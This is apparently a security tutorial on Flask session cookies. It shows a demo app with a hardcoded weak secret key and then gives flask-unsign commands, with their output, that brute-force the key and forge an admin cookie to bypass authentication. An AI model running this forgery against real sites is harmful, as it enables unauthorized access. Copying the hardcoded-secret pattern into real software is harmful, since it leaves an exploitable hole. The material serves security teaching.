Python Flask applications can create signed session cookies. A Hash-based Message Authentication Code (HMAC) function combines the message plaintext with a secret key.
This prevents the client from manipulating data stored in the cookie and sending it back to the server, unless they can determine the value of the secret key.
The following code sets a Flask session cookie, and then makes decisions based on the username specified in the cookie.
from flask import Flask,request,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'CHANGEME'
@app.route('/', methods = ['GET'])
def setcookie():
if not 'username' in session:
session['username'] = "user"
if session['username'] == "admin":
response = "Authentication succeeded: "+ session["username"]
else:
response = "Authentication failed: "+ session["username"]
return response
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
After visiting the site, we can see a session cookie has been added;
The cookie is compromised of three parts, seperated by period characters.
eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0
Part | Encoded Data | Purpose |
---|---|---|
1 | eyJ1c2VybmFtZSI6InVzZXIifQ | Base64 encoded JSON. Decodes as {“username”:”user”}. |
2 | ZCcxgw | Timestamp |
3 | ErdND_UcFZgAm_dt_uBIkUWCRX0 | HMAC |
Flask-unsign can be used to brute force the signing key.
./flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0" --wordlist wordlist.txt
[*] Session decodes to: {'username': 'user'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 0 attempts
'CHANGEME'
Once we have the signing key, we can then sign new cookie values and supply this back to the server.
./flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'CHANGEME'
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZCczqg.M6GtJd39HMB2KZ_K7uu4t4zw9PE
Swapping out the cookie used by Firefox will then result in successful authentication.